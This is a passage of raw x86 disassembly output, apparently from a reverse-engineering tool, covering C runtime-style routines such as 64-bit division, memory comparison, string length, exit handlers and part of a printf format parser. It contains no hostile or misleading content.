20h mov eax, [ebp+var_4] jmp short loc_4197F0 ; --------------------------------------------------------------------------- loc_4197EE: ; CODE XREF: sub_4196EF+84j ; sub_4196EF+CFj mov eax, edi loc_4197F0: ; CODE XREF: sub_4196EF+FDj sub eax, ebx xor edx, edx div [ebp+arg_4] jmp short loc_4197E0 sub_4196EF endp ; =============== S U B R O U T I N E ======================================= sub_4197F9 proc near ; CODE XREF: sub_40D000+8p arg_0 = dword ptr 4 arg_4 = byte ptr 8 push [esp+arg_0] nop call near ptr 26903A8h cmp eax, 0FFFFFFFFh jnz short loc_419819 call near ptr 2650C0Ah nop push eax call sub_41EF44 pop ecx loc_419815: ; CODE XREF: sub_4197F9+3Fj or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_419819: ; CODE XREF: sub_4197F9+Dj test al, 1 jz short loc_41983A test [esp+arg_4], 2 jz short loc_41983A mov dword_4CD9B4, 0Dh mov dword_4CD9B8, 5 jmp short loc_419815 ; --------------------------------------------------------------------------- loc_41983A: ; CODE XREF: sub_4197F9+22j ; sub_4197F9+29j xor eax, eax retn sub_4197F9 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_419840 proc near ; CODE XREF: sub_40D12A+5Fp ; sub_40D12A+92p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_419861 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_419861: ; CODE XREF: sub_419840+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_41987D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_41987D: ; CODE XREF: sub_419840+27j or eax, eax jnz short loc_419899 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_4198DA ; --------------------------------------------------------------------------- loc_419899: ; CODE XREF: sub_419840+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_4198A7: ; CODE XREF: sub_419840+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_4198A7 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_4198D5 cmp edx, [esp+0Ch+arg_4] ja short loc_4198D5 jb short loc_4198D6 cmp eax, [esp+0Ch+arg_0] jbe short loc_4198D6 loc_4198D5: ; CODE XREF: sub_419840+85j ; sub_419840+8Bj dec esi loc_4198D6: ; CODE XREF: sub_419840+8Dj ; sub_419840+93j xor edx, edx mov eax, esi loc_4198DA: ; CODE XREF: sub_419840+57j dec edi jnz short loc_4198E4 neg edx neg eax sbb edx, 0 loc_4198E4: ; CODE XREF: sub_419840+9Bj pop ebx pop esi pop edi retn 10h sub_419840 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_4198F0 proc near ; CODE XREF: sub_40D48D+1Dp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jz short locret_41993C mov edx, [esp+arg_0] push esi push edi mov esi, edx mov edi, [esp+8+arg_4] or edx, edi and edx, 3 jz short loc_41993D test eax, 1 jz short loc_41991D mov cl, [esi] cmp cl, [edi] jnz short loc_41996A inc esi inc edi dec eax jz short loc_41993A loc_41991D: ; CODE XREF: sub_4198F0+20j ; sub_4198F0+48j mov cl, [esi] mov dl, [edi] cmp cl, dl jnz short loc_41996A mov cl, [esi+1] mov dl, [edi+1] cmp cl, dl jnz short loc_41996A add edi, 2 add esi, 2 sub eax, 2 jnz short loc_41991D loc_41993A: ; CODE XREF: sub_4198F0+2Bj ; sub_4198F0+84j pop edi pop esi locret_41993C: ; CODE XREF: sub_4198F0+6j retn ; --------------------------------------------------------------------------- loc_41993D: ; CODE XREF: sub_4198F0+19j mov ecx, eax and eax, 3 shr ecx, 2 jz short loc_419972 repe cmpsd jz short loc_419972 mov ecx, [esi-4] mov edx, [edi-4] cmp cl, dl jnz short loc_419965 cmp ch, dh jnz short loc_419965 shr ecx, 10h shr edx, 10h cmp cl, dl jnz short loc_419965 cmp ch, dh loc_419965: ; CODE XREF: sub_4198F0+63j ; sub_4198F0+67j ... mov eax, 0 loc_41996A: ; CODE XREF: sub_4198F0+26j ; sub_4198F0+33j ... sbb eax, eax pop edi sbb eax, 0FFFFFFFFh pop esi retn ; --------------------------------------------------------------------------- loc_419972: ; CODE XREF: sub_4198F0+55j ; sub_4198F0+59j test eax, eax jz short loc_41993A mov edx, [esi] mov ecx, [edi] cmp dl, cl jnz short loc_419965 dec eax jz short loc_419999 cmp dh, ch jnz short loc_419965 dec eax jz short loc_419999 and ecx, 0FF0000h and edx, 0FF0000h cmp edx, ecx jnz short loc_419965 dec eax loc_419999: ; CODE XREF: sub_4198F0+8Fj ; sub_4198F0+96j pop edi pop esi retn sub_4198F0 endp ; =============== S U B R O U T I N E ======================================= sub_41999C proc near ; CODE XREF: sub_40E5EB+55p ; sub_415F88+236p arg_0 = dword ptr 4 mov ecx, [esp+arg_0] cmp word ptr [ecx], 0 lea eax, [ecx+2] jz short loc_4199B3 loc_4199A9: ; CODE XREF: sub_41999C+15j mov dx, [eax] inc eax inc eax test dx, dx jnz short loc_4199A9 loc_4199B3: ; CODE XREF: sub_41999C+Bj sub eax, ecx sar eax, 1 dec eax retn sub_41999C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4199B9 proc near ; CODE XREF: sub_40E5EB+19p ; sub_40E5EB+49p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov edx, [ebp+arg_0] push ebx push esi xor esi, esi xor eax, eax cmp edx, esi push edi jz loc_419A86 mov edi, [ebp+arg_8] cmp edi, esi jz loc_419AB3 cmp dword_4CDA48, esi jnz short loc_419A0A cmp edi, esi jbe loc_419AB3 loc_4199E9: ; CODE XREF: sub_4199B9+4Aj mov ecx, [ebp+arg_4] add ecx, eax movzx si, byte ptr [ecx] mov [edx], si cmp byte ptr [ecx], 0 jz loc_419AB3 inc eax inc edx inc edx cmp eax, edi jb short loc_4199E9 jmp loc_419AB3 ; --------------------------------------------------------------------------- loc_419A0A: ; CODE XREF: sub_4199B9+26j mov ebx, [ebp+arg_4] mov esi, dword_424070 push edi push edx push 0FFFFFFFFh push ebx push 9 push dword_4CDA58 call esi test eax, eax jnz loc_419AB2 nop call near ptr 2650C0Ah cmp eax, 7Ah jz short loc_419A44 loc_419A35: ; CODE XREF: sub_4199B9+CBj ; sub_4199B9+F7j mov dword_4CD9B4, 2Ah or eax, 0FFFFFFFFh jmp short loc_419AB3 ; --------------------------------------------------------------------------- loc_419A44: ; CODE XREF: sub_4199B9+7Aj lea ecx, [edi-1] mov eax, ebx mov [ebp+arg_4], ecx loc_419A4C: ; CODE XREF: sub_4199B9+B3j mov cl, [eax] test cl, cl jz short loc_419A6E mov edx, off_433C70 movzx ecx, cl test byte ptr [edx+ecx*2+1], 80h jz short loc_419A63 inc eax loc_419A63: ; CODE XREF: sub_4199B9+A7j mov ecx, [ebp+arg_4] inc eax dec [ebp+arg_4] test ecx, ecx jnz short loc_419A4C loc_419A6E: ; CODE XREF: sub_4199B9+97j push edi sub eax, ebx push [ebp+arg_0] push eax push ebx push 1 push dword_4CDA58 call esi test eax, eax jnz short loc_419AB3 jmp short loc_419A35 ; --------------------------------------------------------------------------- loc_419A86: ; CODE XREF: sub_4199B9+Fj cmp dword_4CDA48, esi jnz short loc_419A99 push [ebp+arg_4] call sub_417AB0 pop ecx jmp short loc_419AB3 ; --------------------------------------------------------------------------- loc_419A99: ; CODE XREF: sub_4199B9+D3j push esi push esi push 0FFFFFFFFh push [ebp+arg_4] push 9 push dword_4CDA58 nop call near ptr 2630000h cmp eax, esi jz short loc_419A35 loc_419AB2: ; CODE XREF: sub_4199B9+6Bj dec eax loc_419AB3: ; CODE XREF: sub_4199B9+1Aj ; sub_4199B9+2Aj ... pop edi pop esi pop ebx pop ebp retn sub_4199B9 endp ; --------------------------------------------------------------------------- mov eax, off_433C3C test eax, eax jz short loc_419AC3 call eax ; sub_417D73 loc_419AC3: ; CODE XREF: ___:00419ABFj push offset dword_426028 push offset dword_426014 call sub_419BA0 push offset dword_426010 push offset dword_426000 call sub_419BA0 add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_419B07 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_419AF6 proc near ; CODE XREF: sub_419CDA+1Cp ; sub_41D4FC+3438p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_419B07 add esp, 0Ch retn sub_419AF6 endp ; =============== S U B R O U T I N E ======================================= sub_419B07 proc near ; CODE XREF: ___:00419AEDp ; sub_419AF6+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4CD9FC, edi jnz short loc_419B24 push [esp+4+arg_0] nop call near ptr 2780E81h push eax nop call near ptr 27D0B2Ah loc_419B24: ; CODE XREF: sub_419B07+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4CD9F8, edi mov byte_4CD9F4, bl jnz short loc_419B78 mov eax, dword_4CF03C test eax, eax jz short loc_419B67 mov ecx, dword_4CF038 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_419B66 loc_419B53: ; CODE XREF: sub_419B07+5Dj mov eax, [esi] test eax, eax jz short loc_419B5B call eax loc_419B5B: ; CODE XREF: sub_419B07+50j sub esi, 4 cmp esi, dword_4CF03C jnb short loc_419B53 loc_419B66: ; CODE XREF: sub_419B07+4Aj pop esi loc_419B67: ; CODE XREF: sub_419B07+3Cj push offset dword_426034 push offset dword_42602C call sub_419BA0 pop ecx pop ecx loc_419B78: ; CODE XREF: sub_419B07+33j push offset dword_426040 push offset dword_426038 call sub_419BA0 pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_419B9E push [esp+4+arg_0] mov dword_4CD9FC, edi call near ptr 77E75CB5h nop loc_419B9E: ; CODE XREF: sub_419B07+85j pop edi retn sub_419B07 endp ; =============== S U B R O U T I N E ======================================= sub_419BA0 proc near ; CODE XREF: ___:00419ACDp ; ___:00419ADCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_419BA5: ; CODE XREF: sub_419BA0+16j cmp esi, [esp+4+arg_4] jnb short loc_419BB8 mov eax, [esi] test eax, eax jz short loc_419BB3 call eax loc_419BB3: ; CODE XREF: sub_419BA0+Fj add esi, 4 jmp short loc_419BA5 ; --------------------------------------------------------------------------- loc_419BB8: ; CODE XREF: sub_419BA0+9j pop esi retn sub_419BA0 endp ; =============== S U B R O U T I N E ======================================= sub_419BBA proc near ; CODE XREF: sub_40EE72+2BBBp arg_0 = dword ptr 4 push [esp+arg_0] call near ptr 27C0CF0h nop test eax, eax jnz short loc_419BD0 nop call near ptr 2650C0Ah jmp short loc_419BD2 ; --------------------------------------------------------------------------- loc_419BD0: ; CODE XREF: sub_419BBA+Cj xor eax, eax loc_419BD2: ; CODE XREF: sub_419BBA+14j test eax, eax jz short loc_419BE1 push eax call sub_41EF44 pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_419BE1: ; CODE XREF: sub_419BBA+1Aj xor eax, eax retn sub_419BBA endp ; --------------------------------------------------------------------------- dd 895216F0h, 0AD2567A1h, 0E30CCB58h, 645E78AEh, 0A1h dd 89645000h, 25h, 58EC8300h, 89575653h, 0E890E865h, 2408064h dd 0D48AD233h, 0D9CC1589h, 0C88B004Ch, 0FFE181h, 0D890000h dd 4CD9C8h, 308E1C1h, 0C40D89CAh, 0C1004CD9h, 0C0A310E8h dd 33004CD9h, 0A1E856F6h, 59000010h, 875C085h, 0B0E81C6Ah dd 59000000h, 0E8FC7589h, 5967h, 8000E890h, 2CA30240h dd 0E8004CF0h, 5825h, 4CDA00A3h, 55CEE800h, 10E80000h dd 0E8000055h, 0FFFFFE3Ch, 8DD07589h, 9050A445h, 406377E8h dd 54A1E802h, 45890000h, 0D045F69Ch, 0F067401h, 0EBD445B7h dd 580A6A03h, 9C75FF50h, 0E8905656h, 2306D5Ch, 49F7E850h dd 4589FFFFh, 2AE850A0h, 8BFFFFFEh, 88BEC45h, 4D89098Bh dd 0E8515098h, 52DFh, 8BC35959h, 75FFE865h, 0FE1CE898h db 2 dup(0FFh) ; =============== S U B R O U T I N E ======================================= sub_419CDA proc near ; CODE XREF: sub_418682+16p ; ___:0041F1D5p ... arg_0 = dword ptr 4 cmp dword_4CDA08, 1 jnz short loc_419CE8 call sub_41F84C loc_419CE8: ; CODE XREF: sub_419CDA+7j push [esp+arg_0] call sub_41F885 push 0FFh call off_433C60 pop ecx pop ecx retn sub_419CDA endp ; --------------------------------------------------------------------------- db 83h dd 4CDA083Dh, 5750100h, 5B3FE8h, 2474FF00h, 5B6FE804h dd 68590000h, 0FFh, 0BF93E890h db 0A5h, 77h, 0C3h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419D23 proc near ; CODE XREF: sub_4172B0+46p ; sub_41782A+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] mov eax, [esi+0Ch] mov ebx, [esi+10h] test al, 82h jz loc_419E2C test al, 40h jnz loc_419E2C test al, 1 jz short loc_419D5B and dword ptr [esi+4], 0 test al, 10h jz loc_419E2C mov ecx, [esi+8] and al, 0FEh mov [esi], ecx mov [esi+0Ch], eax loc_419D5B: ; CODE XREF: sub_419D23+20j mov eax, [esi+0Ch] and dword ptr [esi+4], 0 and [ebp+arg_4], 0 and al, 0EFh or al, 2 test ax, 10Ch mov [esi+0Ch], eax jnz short loc_419D95 cmp esi, offset dword_4363A8 jz short loc_419D83 cmp esi, offset dword_4363C8 jnz short loc_419D8E loc_419D83: ; CODE XREF: sub_419D23+56j push ebx call sub_41FA1C test eax, eax pop ecx jnz short loc_419D95 loc_419D8E: ; CODE XREF: sub_419D23+5Ej push esi call sub_41F9D8 pop ecx loc_419D95: ; CODE XREF: sub_419D23+4Ej ; sub_419D23+69j test word ptr [esi+0Ch], 108h push edi jz short loc_419E02 mov eax, [esi+8] mov edi, [esi] sub edi, eax lea ecx, [eax+1] mov [esi], ecx mov ecx, [esi+18h] dec ecx test edi, edi mov [esi+4], ecx jle short loc_419DC5 push edi push eax push ebx call sub_41ED97 add esp, 0Ch mov [ebp+arg_4], eax jmp short loc_419DF8 ; --------------------------------------------------------------------------- loc_419DC5: ; CODE XREF: sub_419D23+90j cmp ebx, 0FFFFFFFFh jz short loc_419DE0 mov eax, ebx mov ecx, ebx sar eax, 5 and ecx, 1Fh mov eax, dword_4CECE0[eax*4] lea eax, [eax+ecx*8] jmp short loc_419DE5 ; --------------------------------------------------------------------------- loc_419DE0: ; CODE XREF: sub_419D23+A5j mov eax, offset dword_4362F0 loc_419DE5: ; CODE XREF: sub_419D23+BBj test byte ptr [eax+4], 20h jz short loc_419DF8 push 2 push 0 push ebx call sub_41E517 add esp, 0Ch loc_419DF8: ; CODE XREF: sub_419D23+A0j ; sub_419D23+C6j mov eax, [esi+8] mov cl, byte ptr [ebp+arg_0] mov [eax], cl jmp short loc_419E16 ; --------------------------------------------------------------------------- loc_419E02: ; CODE XREF: sub_419D23+79j push 1 lea eax, [ebp+arg_0] pop edi push edi push eax push ebx call sub_41ED97 add esp, 0Ch mov [ebp+arg_4], eax loc_419E16: ; CODE XREF: sub_419D23+DDj cmp [ebp+arg_4], edi pop edi jz short loc_419E22 or dword ptr [esi+0Ch], 20h jmp short loc_419E31 ; --------------------------------------------------------------------------- loc_419E22: ; CODE XREF: sub_419D23+F7j mov eax, [ebp+arg_0] and eax, 0FFh jmp short loc_419E34 ; --------------------------------------------------------------------------- loc_419E2C: ; CODE XREF: sub_419D23+10j ; sub_419D23+18j ... or al, 20h mov [esi+0Ch], eax loc_419E31: ; CODE XREF: sub_419D23+FDj or eax, 0FFFFFFFFh loc_419E34: ; CODE XREF: sub_419D23+107j pop esi pop ebx pop ebp retn sub_419D23 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E38 proc near ; CODE XREF: sub_4172B0+29p ; sub_41782A+28p ... var_248 = byte ptr -248h var_247 = byte ptr -247h var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 248h push ebx push esi push edi mov edi, [ebp+arg_4] xor esi, esi mov bl, [edi] inc edi test bl, bl mov [ebp+var_C], esi mov [ebp+var_14], esi mov [ebp+arg_4], edi jz loc_41A551 mov ecx, [ebp+var_10] xor edx, edx jmp short loc_419E6C ; --------------------------------------------------------------------------- loc_419E64: ; CODE XREF: sub_419E38+713j mov ecx, [ebp+var_10] mov esi, [ebp+var_30] xor edx, edx loc_419E6C: ; CODE XREF: sub_419E38+2Aj cmp [ebp+var_14], edx jl loc_41A551 cmp bl, 20h jl short loc_419E8D cmp bl, 78h jg short loc_419E8D movsx eax, bl mov al, [eax+42469Ch] and eax, 0Fh jmp short loc_419E8F ; --------------------------------------------------------------------------- loc_419E8D: ; CODE XREF: sub_419E38+40j ; sub_419E38+45j xor eax, eax loc_419E8F: ; CODE XREF: sub_419E38+53j movsx eax, byte_4246BC[esi+eax*8] sar eax, 4 cmp eax, 7 ; switch 8 cases mov [ebp+var_30], eax ja loc_41A540 ; default jmp off_41A559[eax*4] ; switch jump loc_419EAD: ; DATA XREF: ___:off_41A559o or [ebp+var_10], 0FFFFFFFFh ; jumptable 00419EA6 case 1 mov [ebp+var_34], edx mov [ebp+var_28], edx mov [ebp+var_20], edx mov [ebp+var_1C], edx mov [ebp+var_4], edx mov [ebp+var_24], edx jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419EC8: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o movsx eax, bl ; jumptable 00419EA6 case 2 sub eax, 20h jz short loc_419F0B sub eax, 3 jz short loc_419F02 sub eax, 8 jz short loc_419EF9 dec eax dec eax jz short loc_419EF0 sub eax, 3 jnz loc_41A540 ; default or [ebp+var_4], 8 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419EF0: ; CODE XREF: sub_419E38+A4j or [ebp+var_4], 4 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419EF9: ; CODE XREF: sub_419E38+A0j or [ebp+var_4], 1 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F02: ; CODE XREF: sub_419E38+9Bj or byte ptr [ebp+var_4], 80h jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F0B: ; CODE XREF: sub_419E38+96j or [ebp+var_4], 2 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F14: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o cmp bl, 2Ah ; jumptable 00419EA6 case 3 jnz short loc_419F3C lea eax, [ebp+arg_8] push eax call sub_41A617 test eax, eax pop ecx mov [ebp+var_20], eax jge loc_41A540 ; default or [ebp+var_4], 4 neg eax loc_419F34: ; CODE XREF: sub_419E38+111j mov [ebp+var_20], eax jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F3C: ; CODE XREF: sub_419E38+DFj mov eax, [ebp+var_20] movsx ecx, bl lea eax, [eax+eax*4] lea eax, [ecx+eax*2-30h] jmp short loc_419F34 ; --------------------------------------------------------------------------- loc_419F4B: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o mov [ebp+var_10], edx ; jumptable 00419EA6 case 4 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F53: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o cmp bl, 2Ah ; jumptable 00419EA6 case 5 jnz short loc_419F76 lea eax, [ebp+arg_8] push eax call sub_41A617 test eax, eax pop ecx mov [ebp+var_10], eax jge loc_41A540 ; default or [ebp+var_10], 0FFFFFFFFh jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F76: ; CODE XREF: sub_419E38+11Ej lea eax, [ecx+ecx*4] movsx ecx, bl lea eax, [ecx+eax*2-30h] mov [ebp+var_10], eax jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419F88: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o cmp bl, 49h ; jumptable 00419EA6 case 6 jz short loc_419FBB cmp bl, 68h jz short loc_419FB2 cmp bl, 6Ch jz short loc_419FA9 cmp bl, 77h jnz loc_41A540 ; default or byte ptr [ebp+var_4+1], 8 jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FA9: ; CODE XREF: sub_419E38+15Dj or [ebp+var_4], 10h jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FB2: ; CODE XREF: sub_419E38+158j or [ebp+var_4], 20h jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FBB: ; CODE XREF: sub_419E38+153j cmp byte ptr [edi], 36h jnz short loc_419FD4 cmp byte ptr [edi+1], 34h jnz short loc_419FD4 inc edi inc edi or byte ptr [ebp+var_4+1], 80h mov [ebp+arg_4], edi jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_419FD4: ; CODE XREF: sub_419E38+186j ; sub_419E38+18Cj mov [ebp+var_30], edx loc_419FD7: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o mov ecx, off_433C70 ; jumptable 00419EA6 case 0 mov [ebp+var_24], edx movzx eax, bl test byte ptr [ecx+eax*2+1], 80h jz short loc_41A003 lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41A579 mov bl, [edi] add esp, 0Ch inc edi mov [ebp+arg_4], edi loc_41A003: ; CODE XREF: sub_419E38+1B0j lea eax, [ebp+var_14] push eax push [ebp+arg_0] movsx eax, bl push eax call sub_41A579 add esp, 0Ch jmp loc_41A540 ; default ; --------------------------------------------------------------------------- loc_41A01B: ; CODE XREF: sub_419E38+6Ej ; DATA XREF: ___:off_41A559o movsx eax, bl ; jumptable 00419EA6 case 7 cmp eax, 67h jg loc_41A243 cmp eax, 65h jge loc_41A0C6 cmp eax, 58h jg loc_41A124 jz loc_41A2B7 sub eax, 43h jz loc_41A0E7 dec eax dec eax jz short loc_41A0BC dec eax dec eax jz short loc_41A0BC sub eax, 0Ch jnz loc_41A442 test word ptr [ebp+var_4], 830h jnz short loc_41A065 or byte ptr [ebp+var_4+1], 8 loc_41A065: ; CODE XREF: sub_419E38+227j ; sub_419E38+42Aj mov esi, [ebp+var_10] cmp esi, 0FFFFFFFFh jnz short loc_41A072 mov esi, 7FFFFFFFh loc_41A072: ; CODE XREF: sub_419E38+233j lea eax, [ebp+arg_8] push eax call sub_41A617 test word ptr [ebp+var_4], 810h pop ecx mov ecx, eax mov [ebp+var_8], ecx jz loc_41A28B test ecx, ecx jnz short loc_41A09A mov ecx, off_433C6C mov [ebp+var_8], ecx loc_41A09A: ; CODE XREF: sub_419E38+257j mov [ebp+var_24], 1 mov eax, ecx loc_41A0A3: ; CODE XREF: sub_419E38+282j mov edx, esi dec esi test edx, edx jz loc_41A282 cmp word ptr [eax], 0 jz loc_41A282 inc eax inc eax jmp short loc_41A0A3 ; --------------------------------------------------------------------------- loc_41A0BC: ; CODE XREF: sub_419E38+212j ; sub_419E38+216j mov [ebp+var_34], 1 add bl, 20h loc_41A0C6: ; CODE XREF: sub_419E38+1F2j or [ebp+var_4], 40h lea edi, [ebp+var_248] cmp ecx, edx mov [ebp+var_8], edi jge loc_41A1AA mov [ebp+var_10], 6 jmp loc_41A1B8 ; --------------------------------------------------------------------------- loc_41A0E7: ; CODE XREF: sub_419E38+20Aj test word ptr [ebp+var_4], 830h jnz short loc_41A0F3 or byte ptr [ebp+var_4+1], 8 loc_41A0F3: ; CODE XREF: sub_419E38+2B5j ; sub_419E38+2F4j test word ptr [ebp+var_4], 810h lea eax, [ebp+arg_8] push eax jz short loc_41A13A call sub_41A634 push eax lea eax, [ebp+var_248] push eax call sub_41FAFB add esp, 0Ch mov [ebp+var_C], eax test eax, eax jge short loc_41A14D mov [ebp+var_28], 1 jmp short loc_41A14D ; --------------------------------------------------------------------------- loc_41A124: ; CODE XREF: sub_419E38+1FBj sub eax, 5Ah jz short loc_41A15B sub eax, 9 jz short loc_41A0F3 dec eax jz loc_41A31D jmp loc_41A442 ; --------------------------------------------------------------------------- loc_41A13A: ; CODE XREF: sub_419E38+2C5j call sub_41A617 pop ecx mov [ebp+var_248], al mov [ebp+var_C], 1 loc_41A14D: ; CODE XREF: sub_419E38+2E1j ; sub_419E38+2EAj lea eax, [ebp+var_248] mov [ebp+var_8], eax jmp loc_41A442 ; --------------------------------------------------------------------------- loc_41A15B: ; CODE XREF: sub_419E38+2EFj lea eax, [ebp+arg_8] push eax call sub_41A617 test eax, eax pop ecx jz short loc_41A19C mov ecx, [eax+4] test ecx, ecx jz short loc_41A19C test byte ptr [ebp+var_4+1], 8 jz short loc_41A18D movsx eax, word ptr [eax] shr eax, 1 mov [ebp+var_8], ecx mov [ebp+var_C], eax mov [ebp+var_24], 1 jmp loc_41A442 ; --------------------------------------------------------------------------- loc_41A18D: ; CODE XREF: sub_419E38+33Cj and [ebp+var_24], 0 mov [ebp+var_8], ecx movsx eax, word ptr [eax] jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A19C: ; CODE XREF: sub_419E38+32Fj ; sub_419E38+336j mov eax, off_433C68 mov [ebp+var_8], eax push eax jmp loc_41A238 ; --------------------------------------------------------------------------- loc_41A1AA: ; CODE XREF: sub_419E38+29Dj jnz short loc_41A1B8 cmp bl, 67h jnz short loc_41A1B8 mov [ebp+var_10], 1 loc_41A1B8: ; CODE XREF: sub_419E38+2AAj ; sub_419E38:loc_41A1AAj ... mov eax, [ebp+arg_8] push [ebp+var_34] add eax, 8 mov [ebp+arg_8], eax push [ebp+var_10] mov ecx, [eax-8] mov [ebp+var_48], ecx mov eax, [eax-4] mov [ebp+var_44], eax movsx eax, bl push eax lea eax, [ebp+var_248] push eax lea eax, [ebp+var_48] push eax call off_435FD0 mov esi, [ebp+var_4] add esp, 14h and esi, 80h jz short loc_41A20A cmp [ebp+var_10], 0 jnz short loc_41A20A lea eax, [ebp+var_248] push eax call off_435FDC pop ecx loc_41A20A: ; CODE XREF: sub_419E38+3BCj ; sub_419E38+3C2j cmp bl, 67h jnz short loc_41A221 test esi, esi jnz short loc_41A221 lea eax, [ebp+var_248] push eax call off_435FD4 pop ecx loc_41A221: ; CODE XREF: sub_419E38+3D5j ; sub_419E38+3D9j cmp [ebp+var_248], 2Dh jnz short loc_41A237 or byte ptr [ebp+var_4+1], 1 lea edi, [ebp+var_247] mov [ebp+var_8], edi loc_41A237: ; CODE XREF: sub_419E38+3F0j push edi loc_41A238: ; CODE XREF: sub_419E38+36Dj call sub_417AB0 pop ecx jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A243: ; CODE XREF: sub_419E38+1E9j sub eax, 69h jz loc_41A31D sub eax, 5 jz loc_41A2F3 dec eax jz loc_41A2E0 dec eax jz short loc_41A2B0 sub eax, 3 jz loc_41A065 dec eax dec eax jz loc_41A321 sub eax, 3 jnz loc_41A442 mov [ebp+var_2C], 27h jmp short loc_41A2BE ; --------------------------------------------------------------------------- loc_41A282: ; CODE XREF: sub_419E38+270j ; sub_419E38+27Aj sub eax, ecx sar eax, 1 jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A28B: ; CODE XREF: sub_419E38+24Fj test ecx, ecx jnz short loc_41A298 mov ecx, off_433C68 mov [ebp+var_8], ecx loc_41A298: ; CODE XREF: sub_419E38+455j mov eax, ecx loc_41A29A: ; CODE XREF: sub_419E38+46Fj mov edx, esi dec esi test edx, edx jz short loc_41A2A9 cmp byte ptr [eax], 0 jz short loc_41A2A9 inc eax jmp short loc_41A29A ; --------------------------------------------------------------------------- loc_41A2A9: ; CODE XREF: sub_419E38+467j ; sub_419E38+46Cj sub eax, ecx jmp loc_41A43F ; --------------------------------------------------------------------------- loc_41A2B0: ; CODE XREF: sub_419E38+425j mov [ebp+var_10], 8 loc_41A2B7: ; CODE XREF: sub_419E38+201j mov [ebp+var_2C], 7 loc_41A2BE: ; CODE XREF: sub_419E38+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41A328 mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41A328 ; --------------------------------------------------------------------------- loc_41A2E0: ; CODE XREF: 